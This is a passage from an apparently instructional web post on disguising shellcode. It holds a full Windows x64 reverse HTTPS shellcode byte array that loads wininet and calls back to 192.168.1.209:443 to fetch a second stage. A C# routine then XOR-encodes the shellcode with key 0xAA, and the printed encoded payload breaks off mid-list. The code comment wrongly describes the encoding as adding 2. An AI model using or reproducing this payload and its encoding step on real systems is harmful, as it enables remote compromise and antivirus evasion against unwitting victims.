class="m">0x40</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0xd0</span><span class="p">,</span> <span class="m">0xe3</span><span class="p">,</span> <span class="m">0x56</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x34</span><span class="p">,</span> <span class="m">0x88</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0xd6</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0xc1</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0x0d</span><span class="p">,</span> <span class="m">0xac</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0xc1</span><span class="p">,</span> <span class="m">0x38</span><span class="p">,</span> <span class="m">0xe0</span><span class="p">,</span> <span class="m">0x75</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x4c</span><span class="p">,</span> <span class="m">0x03</span><span class="p">,</span> <span class="m">0x4c</span><span class="p">,</span> <span class="m">0x24</span><span class="p">,</span> <span class="m">0x08</span><span class="p">,</span> <span class="m">0x45</span><span class="p">,</span> <span class="m">0x39</span><span class="p">,</span> <span class="m">0xd1</span><span class="p">,</span> <span class="m">0x75</span><span class="p">,</span> <span class="m">0xd8</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x44</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x40</span><span class="p">,</span> <span class="m">0x24</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0xd0</span><span class="p">,</span> <span class="m">0x66</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x0c</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x44</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x40</span><span class="p">,</span> <span class="m">0x1c</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0xd0</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x04</span><span class="p">,</span> <span class="m">0x88</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0xd0</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x5e</span><span class="p">,</span> <span class="m">0x59</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x59</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x83</span><span class="p">,</span> <span class="m">0xec</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x52</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xe0</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x59</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x12</span><span class="p">,</span> <span class="m">0xe9</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0x5d</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xdb</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xbe</span><span class="p">,</span> <span class="m">0x77</span><span class="p">,</span> <span class="m">0x69</span><span class="p">,</span> <span class="m">0x6e</span><span class="p">,</span> <span class="m">0x69</span><span class="p">,</span> <span class="m">0x6e</span><span class="p">,</span> <span class="m">0x65</span><span class="p">,</span> <span class="m">0x74</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x56</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xe1</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xc7</span><span class="p">,</span> <span class="m">0xc2</span><span class="p">,</span> <span class="m">0x4c</span><span class="p">,</span> <span class="m">0x77</span><span class="p">,</span> <span class="m">0x26</span><span class="p">,</span> <span class="m">0x07</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xd5</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xe1</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x3a</span><span class="p">,</span> <span class="m">0x56</span><span class="p">,</span> <span class="m">0x79</span><span class="p">,</span> <span class="m">0xa7</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xd5</span><span class="p">,</span> <span class="m">0xe8</span><span class="p">,</span> <span class="m">0x0e</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0x39</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x2e</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0x36</span><span class="p">,</span> <span class="m">0x38</span><span class="p">,</span> <span class="m">0x2e</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0x2e</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x30</span><span class="p">,</span> <span class="m">0x39</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xc1</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xc7</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0xbb</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0x03</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0x9f</span><span class="p">,</span> <span class="m">0xc6</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xd5</span><span class="p">,</span> <span class="m">0xe8</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x2f</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x51</span><span class="p">,</span> <span class="m">0x75</span><span class="p">,</span> <span class="m">0x63</span><span class="p">,</span> <span class="m">0x71</span><span class="p">,</span> <span class="m">0x59</span><span class="p">,</span> <span class="m">0x35</span><span class="p">,</span> <span class="m">0x62</span><span class="p">,</span> <span class="m">0x30</span><span class="p">,</span> <span class="m">0x6f</span><span class="p">,</span> <span class="m">0x6d</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x79</span><span class="p">,</span> <span class="m">0x64</span><span class="p">,</span> <span class="m">0x4a</span><span class="p">,</span> <span class="m">0x51</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x70</span><span class="p">,</span> <span class="m">0x64</span><span class="p">,</span> <span class="m">0x67</span><span class="p">,</span> <span class="m">0x47</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x77</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x69</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x62</span><span class="p">,</span> <span class="m">0x50</span><span class="p">,</span> <span class="m">0x50</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x68</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x55</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x66</span><span class="p">,</span> <span class="m">0x69</span><span class="p">,</span> <span class="m">0x6f</span><span class="p">,</span> <span class="m">0x42</span><span class="p">,</span> <span class="m">0x36</span><span class="p">,</span> <span class="m">0x46</span><span class="p">,</span> <span class="m">0x74</span><span class="p">,</span> <span class="m">0x79</span><span class="p">,</span> <span class="m">0x47</span><span class="p">,</span> <span class="m">0x75</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0x2d</span><span class="p">,</span> <span class="m">0x51</span><span class="p">,</span> <span class="m">0x6e</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x4e</span><span class="p">,</span> <span class="m">0x44</span><span class="p">,</span> <span class="m">0x44</span><span class="p">,</span> <span class="m">0x69</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x79</span><span class="p">,</span> <span class="m">0x35</span><span class="p">,</span> <span class="m">0x61</span><span class="p">,</span> <span class="m">0x38</span><span class="p">,</span> <span class="m">0x76</span><span class="p">,</span> <span class="m">0x52</span><span class="p">,</span> <span class="m">0x4f</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x74</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x45</span><span class="p">,</span> <span class="m">0x64</span><span class="p">,</span> <span class="m">0x62</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x5f</span><span class="p">,</span> <span class="m">0x77</span><span class="p">,</span> <span class="m">0x45</span><span class="p">,</span> <span class="m">0x63</span><span class="p">,</span> <span class="m">0x54</span><span class="p">,</span> <span class="m">0x50</span><span class="p">,</span> <span class="m">0x43</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x59</span><span class="p">,</span> <span class="m">0x69</span><span class="p">,</span> <span class="m">0x30</span><span class="p">,</span> <span class="m">0x46</span><span class="p">,</span> <span class="m">0x62</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x47</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x50</span><span class="p">,</span> <span class="m">0x72</span><span class="p">,</span> <span class="m">0x65</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0x50</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0x52</span><span class="p">,</span> <span class="m">0x35</span><span class="p">,</span> <span class="m">0x75</span><span class="p">,</span> <span class="m">0x4e</span><span class="p">,</span> <span class="m">0x5f</span><span class="p">,</span> <span class="m">0x42</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x51</span><span class="p">,</span> <span class="m">0x59</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x76</span><span class="p">,</span> <span class="m">0x6f</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x54</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0x78</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xc1</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0xb8</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xa8</span><span class="p">,</span> <span class="m">0x84</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x50</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xc7</span><span class="p">,</span> <span class="m">0xc2</span><span class="p">,</span> <span class="m">0xeb</span><span class="p">,</span> <span class="m">0x55</span><span class="p">,</span> <span class="m">0x2e</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xd5</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xc6</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0x0a</span><span class="p">,</span> <span class="m">0x5f</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0x1f</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x52</span><span class="p">,</span> <span class="m">0x68</span><span class="p">,</span> <span class="m">0x80</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xe0</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0x04</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x59</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x75</span><span class="p">,</span> <span class="m">0x46</span><span class="p">,</span> <span class="m">0x9e</span><span class="p">,</span> <span class="m">0x86</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xd5</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xc7</span><span class="p">,</span> <span class="m">0xc2</span><span class="p">,</span> <span class="m">0x2d</span><span class="p">,</span> <span class="m">0x06</span><span class="p">,</span> <span class="m">0x18</span><span class="p">,</span> <span class="m">0x7b</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xd5</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x75</span><span class="p">,</span> <span class="m">0x1f</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0xc7</span><span class="p">,</span> <span class="m">0xc1</span><span class="p">,</span> <span class="m">0x88</span><span class="p">,</span> <span class="m">0x13</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x44</span><span class="p">,</span> <span class="m">0xf0</span><span class="p">,</span> <span class="m">0x35</span><span class="p">,</span> <span class="m">0xe0</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xd5</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xcf</span><span class="p">,</span> <span class="m">0x74</span><span class="p">,</span> <span class="m">0x02</span><span class="p">,</span> <span class="m">0xeb</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xe8</span><span class="p">,</span> <span class="m">0x55</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x59</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0x40</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xd1</span><span class="p">,</span> <span class="m">0xc1</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xc7</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0xa4</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0xe5</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xd5</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x93</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xe7</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xda</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xc7</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x12</span><span class="p">,</span> <span class="m">0x96</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xd5</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x83</span><span class="p">,</span> <span class="m">0xc4</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x74</span><span class="p">,</span> <span class="m">0xb2</span><span class="p">,</span> <span class="m">0x66</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x07</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0xc3</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x75</span><span class="p">,</span> <span class="m">0xd2</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0xc3</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x59</span><span class="p">,</span> <span class="m">0xbb</span><span class="p">,</span> <span class="m">0xe0</span><span class="p">,</span> <span class="m">0x1d</span><span class="p">,</span> <span class="m">0x2a</span><span class="p">,</span> <span class="m">0x0a</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xda</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xd5</span> <span class="p">};</span>
            <span class="c1">//substitution key of 2, iterated through each byte value in the shellcode, and simply added 2 to its value. We performed a bitwise AND operation with 0xFF to keep the modified value within the 0-255 range (single byte) in case the increased byte value exceeds 0xFF.</span>
            <span class="kt">byte</span><span class="p">[]</span> <span class="n">encoded</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="n">buf</span><span class="p">.</span><span class="n">Length</span><span class="p">];</span>
            <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span> <span class="n">i</span> <span class="p">&lt;</span> <span class="n">buf</span><span class="p">.</span><span class="n">Length</span><span class="p">;</span> <span class="n">i</span><span class="p">++)</span>
            <span class="p">{</span>
                <span class="n">encoded</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="p">=</span> <span class="p">(</span><span class="kt">byte</span><span class="p">)(((</span><span class="kt">uint</span><span class="p">)</span><span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="p">^</span> <span class="m">0xAA</span><span class="p">)</span> <span class="p">&amp;</span> <span class="m">0xFF</span><span class="p">);</span>
            <span class="p">}</span>
            <span class="c1">//For us to be able to use the encrypted shellcode, we must print it to the console, which we can do by converting the byte array into a string with the StringBuilder class and its associated AppendFormat method. To obtain a string that has the same format as that generated by msfvenom, we'll use a format string</span>
            <span class="n">StringBuilder</span> <span class="n">hex</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">StringBuilder</span><span class="p">(</span><span class="n">encoded</span><span class="p">.</span><span class="n">Length</span> <span class="p">*</span> <span class="m">20</span><span class="p">);</span>
            <span class="k">foreach</span> <span class="p">(</span><span class="kt">byte</span> <span class="n">b</span> <span class="k">in</span> <span class="n">encoded</span><span class="p">)</span>
            <span class="p">{</span>
                <span class="n">hex</span><span class="p">.</span><span class="nf">AppendFormat</span><span class="p">(</span><span class="s">"0x{0:x2}, "</span><span class="p">,</span> <span class="n">b</span><span class="p">);</span>
            <span class="p">}</span>
            <span class="n">Console</span><span class="p">.</span><span class="nf">WriteLine</span><span class="p">(</span><span class="s">"The XOR payload is: "</span> <span class="p">+</span> <span class="n">hex</span><span class="p">.</span><span class="nf">ToString</span><span class="p">());</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span> 
</code></pre></div></div>

<p>This will XOR encrypt the byte array using a hex key of “0xAA” and print the output to the console.</p>

<pre><code class="language-solid">C:\Users\hacker\Desktop&gt;.\XorCrypt.exe
The XOR payload is: 0x56, 0xe2, 0x29, 0x4e, 0x5a, 0x42, 0x66, 0xaa, 0xaa, 0xaa, 0xeb, 0xfb, 0xeb, 0xfa, 0xf8, 0xfb, 0xfc, 0xe2, 0x9b, 0x78, 0xcf, 0xe2, 0x21, 0xf8, 0xca, 0xe2, 0x21, 0xf8, 0xb2, 0xe2, 0x21, 0xf8, 0x8a, 0xe7, 0x9b, 0x63, 0xe2, 0x21, 0xd8, 0xfa, 0xe2, 0xa5, 0x1d, 0xe0, 0xe0, 0xe2, 0x9b, 0x6a, 0x06, 0x96, 0xcb, 0xd6, 0xa8, 0x86, 0x8a, 0xeb, 0x6b, 0x63, 0xa7, 0xeb, 0xab, 0x6b, 0x48, 0x47, 0xf8, 0xeb, 0xfb, 0xe2, 0x21, 0xf8, 0x8a, 0x21, 0xe8, 0x96, 0xe2, 0xab, 0x7a, 0xcc, 0x2b, 0xd2, 0xb2, 0xa1, 0xa8, 0xa5, 0x2f, 0xd8, 0xaa, 0xaa, 0xaa, 0x21, 0x2a, 0x22, 0xaa, 0xaa, 0xaa, 0xe2, 0x2f, 0x6a, 0xde, 0xcd, 0xe2, 0xab, 0x7a, 0x21, 0xe2, 0xb2, 0xfa, 0xee, 0x21, 0xea, 0x8a, 0xe3, 0xab, 0x7a, 0x49, 0xfc, 0xe2, 0x55, 0x63, 0xe7, 0x9b, 0x63, 0xeb, 0x21, 0x9e, 0x22, 0xe2, 0xab, 0x7c, 0xe2, 0x9b, 0x6a, 0xeb, 0x6b, 0x63, 0xa7, 0x06, 0xeb, 0xab, 0x6b, 0x92, 0x4a, 0xdf, 0x5b, 0xe6, 0xa9, 0xe6, 0x8e, 0xa2, 0xef, 0x93, 0x7b, 0xdf, 0x72, 0xf2, 0xee, 0x21, 0xea, 0x8e, 0xe3, 0xab, 0x7a, 0xcc, 0xeb, 0x21, 0xa6, 0xe2, 0xee, 0x21, 0xea, 0xb6, 0xe3, 0xab, 0x7a, 0xeb, 0x21, 0xae, 0x22, 0xeb, 0xf2, 0xe2, 0xab, 0x7a, 0xeb, 0xf2, 0xf4, 0xf3, 0xf0, 0xeb, 0xf2, 0xeb, 0xf3, 0xeb, 0xf0, 0xe2, 0x29, 0x46, 0x8a, 0xeb, 0xf8, 0x55, 0x4a, 0xf2, 0xeb, 0xf3, 0xf0, 0xe2, 0x21, 0xb8, 0x43, 0xe1, 0x55, 0x55, 0x55, 0xf7, 0xe2, 0x9b, 0x71, 0xf9, 0xe3, 0x14, 0xdd, 0xc3, 0xc4, 0xc3, 0xc4, 0xcf, 0xde, 0xaa, 0xeb, 0xfc, 0xe2, 0x23, 0x4b, 0xe3, 0x6d, 0x68, 0xe6, 0xdd, 0x8c, 0xad, 0x55, 0x7f, 0xf9, 0xf9, 0xe2, 0x23, 0x4b, 0xf9, 0xf0, 0xe7, 0x9b, 0x6a, 0xe7, 0x9b, 0x63, 0xf9, 0xf9, 0xe3, 0x10, 0x90, 0xfc, 0xd3, 0x0d, 0xaa, 0xaa, 0xaa, 0xaa, 0x55, 0x7f, 0x42, 0xa4, 0xaa, 0xaa, 0xaa, 0x9b, 0x93, 0x98, 0x84, 0x9b, 0x9c, 0x92, 0x84, 0x9b, 0x84, 0x98, 0x9a, 